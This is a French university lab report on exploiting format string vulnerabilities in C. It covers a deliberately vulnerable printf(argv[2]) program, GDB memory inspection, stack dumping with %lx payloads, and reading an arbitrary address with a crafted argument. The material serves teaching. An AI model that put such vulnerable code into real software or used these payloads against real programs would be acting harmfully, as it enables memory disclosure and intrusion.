Sécurité applicative

Laboratoire 2.5

Sécurité Applicative
Laboratoire 2.5 (Autonomie)

Adrien Voisin, Bastien Bodart

IR313 - Henallux 2021-2022

1 Exploit Format String

1.1 Programme vulnérable

Écrivez un programme C qui prendra deux arguments :le premier sera copié dans un buffer préalablement déclaré, sans rien en faire, et le deuxième sera affiché à la console.

Prérequis :

```
┌──(root💀host)-[/home/user/Documents/Labo 2.5]
└─# echo 0 > /proc/sys/kernel/randomize_va_space
```

Programme (non vulnérable --> « %s ») :

```c
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
        char buffer[TAILLE];
        strcpy(buffer, argv[1]);
        printf("\nHello %s", argv[2]);
        //printf("\nbuffer : %s", buffer); //test
}
```

Résultat du programme :

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ ./prog pomme poire

Hello poire
```

Je compile en mode debug : -g

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ gcc -g -o prog 1-copy.c
```

Examinez ce programme avec GDB et vérifiez la présence en mémoire de vos arguments lors de l'exécution. Autrement dit, trouvez les adresses des arguments et affichez leurs valeurs.

gdb prog

```
(gdb) break main
Breakpoint 1 at 0x1154: file 1-copy.c, line 9.
(gdb)
```

```
(gdb) run $(python -c 'print "A" * 16') $(python -c 'print "B" * 16')
Starting program: /home/user/Documents/Labo 2.5/prog $(python -c 'print "A" * 16') $(python -c 'print "B" * 16')

Breakpoint 1, main (argc=3, argv=0x7fffffffe068) at 1-copy.c:9
9               strcpy(buffer, argv[1]);
(gdb)
```

Une première info intéressante obtenue grâce à l'option de debug -g est l'adresse d'argv. Pour rappel, argv est un **tableau de pointeurs** contenant les arguments de mon programme.

info frame

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf80:
 rip = 0x555555555154 in main (1-copy.c:9); saved rip = 0x7ffff7e16d0a
 source language c.
 Arglist at 0x7fffffffdf70, args: argc=3, argv=0x7fffffffe068
 Locals at 0x7fffffffdf70, Previous frame's sp is 0x7fffffffdf80
 Saved registers:
  rbp at 0x7fffffffdf70, rip at 0x7fffffffdf78
(gdb)
```

Je peux également observer la stack au niveau de cette adresse : je peux retrouver mes 3 arguments (nom du programme, les 16 A et les 16 B)

```
(gdb) x/xg 0x7fffffffe068
0x7fffffffe068: 0x00007fffffffe3a6
(gdb) x/40xg 0x00007fffffffe3a6
0x7fffffffe3a6: 0x73752f656d6f682f       0x6d75636f442f7265
0x7fffffffe3b6: 0x62614c2f73746e65       0x72702f352e32206f
0x7fffffffe3c6: 0x4141414141006f6f       0x4141414141414141
0x7fffffffe3d6: 0x4242424200414141       0x4242424242424242
0x7fffffffe3e6: 0x4c4f430042424242       0x313d47424746524f
0x7fffffffe3f6: 0x4f4c4f4300303b35       0x72743d4d52455452
0x7fffffffe406: 0x00726f6c6f636575       0x5f444e414d4d4f43
0x7fffffffe416: 0x4e554f465f544f4e       0x4c4154534e495f44
0x7fffffffe426: 0x54504d4f52505f4c       0x5f5355424400313d
0x7fffffffe436: 0x5f4e4f4953534553       0x524444415f535542
0x7fffffffe446: 0x78696e753d535345       0x722f3d687461703a
0x7fffffffe456: 0x2f726573752f6e75       0x7375622f30303031
0x7fffffffe466: 0x504f544b53454400       0x4e4f49535345535f
0x7fffffffe476: 0x494400656366783d       0x303a3d59414c5053
0x7fffffffe486: 0x454e544f4400302e       0x45545f494c435f54
0x7fffffffe496: 0x5f595254454d454c       0x313d54554f54504f
0x7fffffffe4a6: 0x535345534d444700       0x656366783d4e4f49
0x7fffffffe4b6: 0x4e414c5f4d444700       0x2e53555f6e653d47
0x7fffffffe4c6: 0x4d4f480038667475       0x2f656d6f682f3d45
0x7fffffffe4d6: 0x4e414c0072657375       0x2e53555f6e653d47
(gdb)
```

Je peux afficher ces arguments :

```
(gdb) x/s 0×7fffffffe3c9
0×7fffffffe3c9: 'A' <repeats 16 times>
(gdb)
```

```
(gdb) x/s 0×7fffffffe3DA
0×7fffffffe3da: 'B' <repeats 16 times>
(gdb)
```

1.2 Affichage de la stack

Modifiez votre programme afin de le rendre vulnérable à une attaque de type format string et exploitez cette faille pour afficher le contenu de la stack (où se trouve le buffer qui contient le premier argument).

Ce programme est maintenant vulnérable : manque de formatage passé à la fonction printf.
Code (vulnérable) :

```
  GNU nano 5.4
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
        char buffer[TAILLE];
        strcpy(buffer, argv[1]);
        printf(argv[2]);
}
```

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ ./prog2 $(python -c 'print "A" * 16') "`python -c "print '%lx ' * 180 "`"
7ffeb44a5136 10 36 0 7f1ad29a41b0 7ffeb44a3428 30000000 4141414141414141 4141414141414141 7ffeb44a3400 0 558f812271
90 7f1ad27ded0a 7ffeb44a3428 300000000 558f81227145 7f1ad27de7cf 0 220f404eb82f6907 558f81227060 0 0 0 76ed2a9e3d8f6
907 7725e6f182896907 0 0 0 3 7ffeb44a3428 7ffeb44a3448 7f1ad29c0180 0 0 558f81227060 7ffeb44a3420 0 0 558f8122708a 7
ffeb44a3418 1c 3 7ffeb44a512e 7ffeb44a5136 7ffeb44a5147 0 7ffeb44a5418 7ffeb44a5427 7ffeb44a543b 7ffeb44a545e 7ffeb4
4a5494 7ffeb44a54a9 7ffeb44a54b6 7ffeb44a54d4 7ffeb44a54e4 7ffeb44a54f8 7ffeb44a5508 7ffeb44a5519 7ffeb44a552b 7ffeb
44a5538 7ffeb44a5596 7ffeb44a55b4 7ffeb44a55d6 7ffeb44a55e9 7ffeb44a5607 7ffeb44a5622 7ffeb44a566e 7ffeb44a5681 7ffe
b44a5693 7ffeb44a56c1 7ffeb44a56d5 7ffeb44a56df 7ffeb44a56ea 7ffeb44a570c 7ffeb44a5725 7ffeb44a573e 7ffeb44a5786 7ff
eb44a57b6 7ffeb44a57cc 7ffeb44a57eb 7ffeb44a57fa 7ffeb44a582e 7ffeb44a5845 7ffeb44a585e 7ffeb44a586f 7ffeb44a58a9 7f
feb44a58be 7ffeb44a58c9 7ffeb44a590c 7ffeb44a5914 7ffeb44a5939 7ffeb44a5f28 7ffeb44a5f40 7ffeb44a5f58 7ffeb44a5f6d 7
ffeb44a5f86 7ffeb44a5f9b 7ffeb44a5fb3 7ffeb44a5fc8 0 21 7ffeb45e3000 10 178bfbff 6 1000 11 64 3 558f81226040 4 38 5
b 7 7f1ad2994000 8 0 9 558f81227060 b 3e8 c 3e8 d 3e8 e 3e8 17 0 19 7ffeb44a3739 1a 2 1f 7ffeb44a5ff0 f 7ffeb44a3749
 0 0 1a999dbcf72a2200 83c48821052d8730 34365f363878b4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0
```

En vert, il s'agit du buffer (les 16 A) dans lequel a été copié le premier argument.

Si le programme n'est pas vulnérable, ça ressemblera à ceci :

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ ./prog $(python -c 'print "A" * 16') "`python -c "print '%lx ' * 180 "`"


Hello %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %l
 %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx
%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx
lx %lx %lx %lx
```

Code non vulnérable :

```
└─$ cat 1-copy.c
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
        char buffer[TAILLE];
        strcpy(buffer, argv[1]);
        printf("\nHello %s", argv[2]);
        //printf("\nbuffer : %s", buffer); //test
}
```

1.3 Accès à un emplacement mémoire arbitraire

Exploitez aussi cette faille pour afficher un emplacement mémoire en particulier, en lançant votre programme avec trois arguments.

Le but est d'afficher ce troisième argument en accédant directement à son adresse, que vous aurez placée dans le buffer, avec le format %s. Il faut pour ce faire calculer correctement le padding nécessaire pour arriver au buffer.

Sur le programme ci-dessous, il va être facile d'exploiter la vulnérabilité pour afficher cet argument. Et ce, grâce à l'affichage de l'adresse de mon 3ième argument.

```
  GNU nano 5.4
#include <stdio.h>
#include <string.h>

#define TAILLE 20

int main(int argc, char * argv[])
{
        printf("%p", argv[3]); //Pour avoir plus simple
        char buffer[TAILLE];
        strcpy(buffer, argv[1]);
        printf(argv[2]);
}
```

On lance un test pour récupérer l'adresse :

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ ./prog2 secret secret secret
0×7fffffffe411secret
```

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ ./prog2 $(python -c 'print "\x7f\xff\xff\xff\xe4\x11" [::-1]') $(python -c 'print "%08x" * 5 + "%s"') secret
0×7fffffffe411ffffe3f300000006007fffff000000000000000e
```

Et après un certain temps de recherche, on retrouve enfin notre dernier argument grâce à son adresse.

```
┌──(user㉿host)-[~/Documents/Labo 2.5]
└─$ ./prog2 $(python -c 'print "\x7f\xff\xff\xff\xe4\x11" [::-1]') $(python -c 'print "%08x" * 7 + "%s"') secret
0×7fffffffe411ffffe3eb00000006007fffff000000000000000efffe0a800000000secret
```